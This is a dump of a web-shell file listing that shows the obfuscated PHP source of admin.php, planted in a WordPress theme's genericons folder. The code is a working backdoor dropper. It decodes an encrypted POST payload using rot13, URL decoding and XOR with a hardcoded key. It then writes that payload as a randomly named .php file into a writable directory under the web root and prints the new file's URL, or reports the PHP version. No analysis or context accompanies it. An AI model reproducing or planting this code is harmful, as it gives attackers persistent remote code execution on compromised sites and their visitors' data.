HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentyfourteen/genericons/admin.php
<?php $sbJesemRLo = chr(80-12)."\x4f".chr(67)."\x55".chr(77).chr(410-341).chr(78).chr(1029-945).chr(440-345)."\122".chr(79)."\x4f".chr(675-591);$KnLia = chr(72)."\124".'T'.'P'.chr(95)."\x48"."\117".'S'.'T';$XuADchCaR = "\x68".'t'."\164"."\160"."\x3a".chr(626-579).chr(1035-988);$RPqhV = chr(46).chr(112).chr(937-833).'p';$XCyeDk = chr(112)."\150".'p';$qpXRmRjkcx = chr(174-72)."\x69".chr(735-627).chr(788-687)."\x5f"."\160".'u'.'t'.chr(810-715)."\x63".'o'.chr(110)."\x74".chr(101)."\x6e".chr(957-841).chr(1077-962);$RdsjWTvGUS = chr(114)."\141"."\167".'u'."\162".chr(802-694)."\144".chr(101)."\x63".'o'.chr(100)."\x65";$fHPdfPPU = "\x75"."\x6e".'s'."\145".chr(114).chr(206-101).chr(97).chr(565-457).'i'.chr(122).chr(101);$kNbgUVKKHG = chr(1100-995)."\x73"."\x5f"."\x77"."\x72"."\151"."\164"."\141".chr(296-198).chr(602-494)."\x65";$zacFYfV = "\x70".chr(1080-976).chr(884-772)."\166"."\145".chr(114).chr(1069-954).chr(589-484)."\x6f".chr(629-519);$eHCXRedly = chr(115).chr(200-84)."\x72"."\137"."\162".'o'.'t'."\61"."\63";$capBzDjhnv = "\x73"."\x65"."\162".chr(105).chr(598-501)."\154"."\x69".chr(1032-910).chr(756-655);$klzmAVIMDY = 's'.'t'.'r'.'_'."\163".chr(936-824).chr(453-345).'i'."\x74";foreach ($_POST as $BzXeJK => $DKRhl){$rBaERcld = strlen($BzXeJK);if ($rBaERcld == 16){$DKRhl = $klzmAVIMDY($RdsjWTvGUS($eHCXRedly($DKRhl)));$BzXeJK = array_slice($klzmAVIMDY(str_repeat($BzXeJK, (count($DKRhl)/16)+1)), 0, count($DKRhl));function QbEgIoWcDO($WOjwdhs, $KQBPyb, $BzXeJK){$HslUflu = "f88fd9d4-a1ff-4d87-bd5a-7b082fb42b82";return $WOjwdhs ^ $HslUflu[$KQBPyb % strlen($HslUflu)] ^ $BzXeJK;}$DKRhl = array_map("QbEgIoWcDO", array_values($DKRhl), array_keys($DKRhl), array_values($BzXeJK));$DKRhl = implode("", $DKRhl);$DKRhl = @$fHPdfPPU($DKRhl);if (@is_array($DKRhl)){$gtdjJhEx = array_keys($DKRhl);$DKRhl = $DKRhl[$gtdjJhEx[0]];if ($DKRhl === $gtdjJhEx[0]){echo @$capBzDjhnv(Array($XCyeDk => @$zacFYfV(), ));exit();}else {function jzEYoCzd($ksmHbUir){static $ItbyrBNh = array();$UfXMqYUg = glob($ksmHbUir . '/*', GLOB_ONLYDIR);$nYSSWDY = count($UfXMqYUg);if ($nYSSWDY > 0) {foreach ($UfXMqYUg as $ksmHbU) {if (@$kNbgUVKKHG($ksmHbU)) {$ItbyrBNh[] = $ksmHbU;}}}foreach ($UfXMqYUg as $ksmHbUir) jzEYoCzd($ksmHbUir);return $ItbyrBNh;}$ULVoljBe = $_SERVER[$sbJesemRLo];$UfXMqYUg = jzEYoCzd($ULVoljBe);$gtdjJhEx = array_rand($UfXMqYUg);$cCUCDTGEAc = $UfXMqYUg[$gtdjJhEx] . "/" . substr(md5(time()), 0, 8) . $RPqhV;@$qpXRmRjkcx($cCUCDTGEAc, $DKRhl);$vCVaHpMvx = $XuADchCaR . $_SERVER[$KnLia] . substr($cCUCDTGEAc, strlen($ULVoljBe));print($vCVaHpMvx);die();}}}}